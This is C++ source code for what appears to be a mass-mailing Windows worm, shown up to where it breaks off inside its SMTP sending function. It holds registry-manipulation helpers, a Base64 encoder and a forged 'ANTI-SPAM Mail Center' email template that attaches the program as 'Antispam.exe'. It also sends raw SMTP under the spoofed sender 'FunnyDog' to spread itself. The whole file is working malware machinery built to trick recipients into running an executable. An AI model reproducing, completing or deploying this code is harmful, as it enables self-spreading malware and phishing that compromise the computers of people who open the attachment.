great.cpp

It is inserted that the worm will duplicate great.exe to get the systematic materials in the compute

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <windowsx.h>
#include <wininet.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>			// Required for ToolHelp32 functions
#include <time.h>
#include <io.h>
#include <winsock.h>
#include <sys/types.h>
#include <tlhelp32.h>

#pragma comment(lib,"ws2_32")
#pragma warning(disable:4133)

#define PORTNUM 25	// 0x4747	// Port number  
#define MAX_PENDING_CONNECTS  4		// Maximum length of the queue 

#define CMD_HELLO	"HELO %s\r\n"
#define CMD_FROM	"MAIL FROM: <%s>\r\n"
#define CMD_TO		"RCPT TO: <%s>\r\n"
#define CMD_DATA	"DATA\r\n"
#define CMD_END		"\r\n.\r\n"
#define CMD_QUIT	"QUIT\r\n" 

UINT MailTo(HANDLE hInst, char* szTitle, char* szFile);
unsigned int Base64_Encode(char* data, unsigned int len, char* output);
int SendCmd(SOCKET wSocket, char* szStr, char* data);
int SendData(SOCKET wSocket, char* szMail);
UINT SaveMailBody(char* szAttach, char* szTarget);
long SendMail(char* szFrom, char* szTo, char* szHost, char* szMail);

#define MAX_CHAR_PER_LINE 76
#define FILLCHAR '='
static char* cvt = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"\
		"abcdefghijklmnopqrstuvwxyz"\
		"0123456789+/";

unsigned int Base64_Encode(char* data, unsigned int len, char* output)
{
	unsigned int i;
	char c;
	unsigned int ret;

	/*    (*output)[ret++] = '\r'; \*/
#define CHECKLINE \
  if ( (ret % MAX_CHAR_PER_LINE) == 0) { \
	(output)[ret++] = '\n'; \
  }
	ret = 0;
	//  *output = MALLOC( (((len * 4 / 3) + 8) * (MAX_CHAR_PER_LINE+2))/
	//  				   MAX_CHAR_PER_LINE);
	for (i = 0; i < len; ++i)
	{
		c = (data[i] >> 2) & 0x3f;
		(output)[ret++] = cvt[(int) c];
	CHECKLINE;
		c = (data[i] << 4) & 0x3f;
		if (++i < len)
			c |= (data[i] >> 4) & 0x0f;
		(output)[ret++] = cvt[(int) c];
	CHECKLINE;
		if (i < len)
		{
			c = (data[i] << 2) & 0x3f;
			if (++i < len)
				c |= (data[i] >> 6) & 0x03; 	 
			(output)[ret++] = cvt[(int) c];
	  CHECKLINE;
		}
		else
		{
			++i;
			(output)[ret++] = FILLCHAR;
	  CHECKLINE;
		}    
		if (i < len)
		{
			c = data[i] & 0x3f;
			(output)[ret++] = cvt[(int) c];
	  CHECKLINE;
		}
		else
		{
			(output)[ret++] = FILLCHAR;
	  CHECKLINE;
		}
	}
	(output)[ret++] = FILLCHAR;
	return ret;
}

#pragma comment(lib, "th32")
#pragma comment(lib, "mpr")

void GetIP(char* ip);

//----------------------------------------------------------------------------
void vSetPathName(HINSTANCE hInst, char* PathName, char* FileName)
{
	char* pcFileName;
	int nFileNameLen;

	nFileNameLen = GetModuleFileName(hInst, PathName, 256);
	pcFileName = PathName + nFileNameLen;

	while (pcFileName > PathName)
	{
		if (*pcFileName == '\\' || *pcFileName == ':')
		{
			*(++pcFileName) = '\0';
			break;
		}
		nFileNameLen--;
		pcFileName--;
	}

	if ((nFileNameLen + 13) < 256)
	{
		lstrcat(PathName, FileName);
	}
	else
	{
		lstrcat(PathName, "?");
	}

	return;
}

void vGetModuleName(HINSTANCE hInst, char* PathName, char* FileName)
{
	char* pcFileName;
	int nFileNameLen;

	nFileNameLen = GetModuleFileName(hInst, PathName, 256);
	pcFileName = PathName + nFileNameLen;

	while (pcFileName > PathName)
	{
		if (*pcFileName == '\\' || *pcFileName == ':')
		{
			*pcFileName = '\0';
			break;
		}
		nFileNameLen--;
		pcFileName--;
	}

	strcpy(FileName, pcFileName + 1);
	return;
}

LONG vSetReg(HKEY hKey, char* szSubkey, char* szName, char* szValue)
{
	LONG res;
	HKEY key;
	DWORD dwSize;

	// Set Value	
	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ | KEY_WRITE, &key)) !=	ERROR_SUCCESS)
	{
		RegCreateKeyEx(hKey, szSubkey, 0L, "", REG_OPTION_NON_VOLATILE,
			KEY_ALL_ACCESS, NULL, &key, &dwSize);
	}
	res = RegSetValueEx(key, szName, 0, REG_SZ, (const unsigned char *)szValue, lstrlen(szValue));

	if (key)
		RegCloseKey(key);
	return(res);
}

LONG vGetReg(HKEY hKey, char* szSubkey, char* szName, char* szValue)
{
	LONG res;
	HKEY key;
	DWORD dwSize = 260, dwType;

	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ, &key)) ==	ERROR_SUCCESS)
	{
		res = RegQueryValueEx(key, szName, NULL, &dwType, (unsigned char *)szValue, &dwSize);
		RegCloseKey(key);
	}
	return(res);
}

LONG vDelReg(HKEY hKey, char* szSubkey, char* szName, UINT mode)
{
	LONG res;
	HKEY key;
	DWORD dwSize, dwType, dwNam;
	char szNam[260], szVal[260];

	if (mode == 1)
		goto DelVal;

	// Delete Subkey or Value
	wsprintf(szNam, "%s\\%s", szSubkey, szName);	// Check Subkey\*.*
	if ((res = RegOpenKeyEx(hKey, szNam, 0L, KEY_READ | KEY_WRITE, &key)) ==
		ERROR_SUCCESS)
	{
		dwSize = dwNam = 260;
		while ((res = RegEnumValue(key, 0, szNam, &dwNam, NULL, &dwType,
					(unsigned char*) szVal, &dwSize)) ==	ERROR_SUCCESS)
		{
			res = RegDeleteValue(key, szNam);
			dwSize = dwNam = 260;
		}
		RegCloseKey(key);
		wsprintf(szNam, "%s\\%s", szSubkey, szName);	//Check Subkey\*.*
		res = RegDeleteKey(hKey, szNam);
	}
	// Just Value
	else
		DelVal :
	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ | KEY_WRITE, &key)) ==
		ERROR_SUCCESS)
	{
		res = RegDeleteValue(key, szName);
	}

	if (key)
		RegCloseKey(key);
	return(res);
}

DWORD CalDWord(unsigned char* addr)
{
	DWORD val;
	_asm
	{
		mov edi,addr
		mov eax,dword ptr[edi]
		mov val,eax
	}
	return(val);
}

unsigned int CalWord(unsigned char* addr)
{
	unsigned int int_l,int_h,int_w;
	int_l = *addr;
	int_h = *(addr + 1) * 256;
	int_w = int_l + int_h;
	return(int_w);
}

/*  How to call mailwork
res=MailTo(hInst,"Anti-spam","c:\\antispam.exe")
*/

char MailHead[] =
"From: \"ANTI-SPAM Mail Center\"\r\n"
"Subject: Please check antispam\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed;\r\n"
"\ttype=\"multipart/alternative\";\r\n"
"\tboundary=\"====_0000111122223333_====\"\r\n"
"X-Priority: 3\r\n"
"X-MSMail-Priority: Normal\r\n"
"X-Unsent: 1\r\n\r\n"
"--====_0000111122223333_====\r\n"
"Content-Type: multipart/alternative;\r\n"
"\tboundary=\"====_3333222211110000_====\"\r\n\r\n"
"--====_3333222211110000_====\r\n"
"Content-Type: text/html;\r\n"
"\tcharset=\"iso-8859-1\"\r\n"
"Content-Transfer-Encoding: quoted-printable\r\n\r\n\r\n"
"<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>\r\n"
"Clean your spam mail by antispam !\r\n"
"</BODY></HTML>\r\n"
"--====_3333222211110000_====--\r\n\r\n"
"--====_0000111122223333_====\r\n"
"Content-Type: application/x-msdownload; name=\"Antispam.exe\"\r\n"
"Content-Transfer-Encoding: base64\r\n"
"Content-Description: Antispam.exe\r\n"
"Content-Disposition: attachment; filename=\"Antispam.exe\"\r\n"
"Content-ID: <EA4DMGBP9p>\r\n\r\n";

char* MailEnd =
{
	"\r\n\r\n--====_0000111122223333_====\r\n\r\n"
};

UINT SaveMailBody(char* szAttach, char* szTarget)
{
	HANDLE hFilea, hFilet;
	DWORD dwRes = 0, dwSize = 0;
	char* lpBufa, * lpBuft;
	int res = 1;
	HGLOBAL hMema, hMemt;

	if ((hFilet = CreateFile((LPCTSTR) szTarget, GENERIC_WRITE,
					FILE_SHARE_READ, NULL, CREATE_ALWAYS,
					FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH,
					(HANDLE) NULL)) == (HANDLE) -1)
	{
		return((UINT) - 1);
	}
	if ((hFilea = CreateFile((LPCTSTR) szAttach, GENERIC_READ,
					FILE_SHARE_READ, NULL, OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL)) == (HANDLE) -1)
	{
		return((UINT) - 2);
	}
	dwSize = GetFileSize(hFilea, &dwRes);

	hMema = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize);
	hMemt = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize * 3 / 2);
	if ((hMema == NULL) || (hMemt == NULL))
		return((UINT) - 3);
	lpBufa = (char *)GlobalLock(hMema);
	lpBuft = (char *)GlobalLock(hMemt);

	//SaveMailHead
	res = WriteFile(hFilet, MailHead, strlen(MailHead), &dwRes, NULL);

	//Base64_Encode
	ReadFile(hFilea, (LPVOID) lpBufa, dwSize, &dwRes, NULL);
	dwRes = Base64_Encode(lpBufa, dwSize, lpBuft);
	res = WriteFile(hFilet, lpBuft, dwRes, &dwSize, NULL);

	//SaveMailEnd
	res = WriteFile(hFilet, MailEnd, strlen(MailEnd), &dwRes, NULL);

	GlobalUnlock(hMema);
	GlobalFree(hMema);
	GlobalUnlock(hMemt);
	GlobalFree(hMemt);
	
	CloseHandle(hFilea);
	CloseHandle(hFilet);

	return(res);
}

long SendMail(char* szFrom, char* szTo, char* szHost, char* szMail)
{
	char szBuf[512];
	struct hostent* ip; 
	long res = 0;
	SOCKET WinSocket = INVALID_SOCKET;	// Window socket
	SOCKADDR_IN local_sin;  			// Local socket address
	int iReturn;
	WSADATA WSAData;

	if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)
		return(-1);

	if ((WinSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
	{
		res = -2;
		goto exitw;
	}

	local_sin.sin_family = AF_INET;
	local_sin.sin_port = htons(PORTNUM); 
	if (szHost == NULL)
		strcpy(szHost, "localhost");
	if (!(ip = gethostbyname(szHost)))
	{
		res = -3;
		goto exits;
	}
	memcpy((char *) &local_sin.sin_addr.s_addr, (char *) ip->h_addr, ip->h_length);

	if (connect(WinSocket,(const struct sockaddr *) &local_sin, sizeof(local_sin)) == SOCKET_ERROR)
	{
		res = -4;
		goto exits;
	}

	iReturn = recv(WinSocket, szBuf, sizeof(szBuf), 0);
	if ((iReturn == 0) || (iReturn == SOCKET_ERROR))
	{
		res = -5;
		goto exits;
	}
	if (strncmp(szBuf, "220", 3) == 0)
	{
		SendCmd(WinSocket, CMD_HELLO, szFrom);
		SendCmd(WinSocket, CMD_FROM, szFrom);
		SendCmd(WinSocket, CMD_TO, szTo);
		SendCmd(WinSocket, CMD_DATA, NULL);
		wsprintf(szBuf, "From: %s\r\n", "FunnyDog");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		wsprintf(szBuf, "Subject: %s\r\n", "Be Happy with Dog!");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		SendData(WinSocket, szMail);
		SendCmd(WinSocket, CMD_END, NULL);
		SendCmd(WinSocket, CMD_QUIT, NULL);
	}

exits:
	closesocket(WinSocket);
exitw:
	WSACleanup();
	return(res);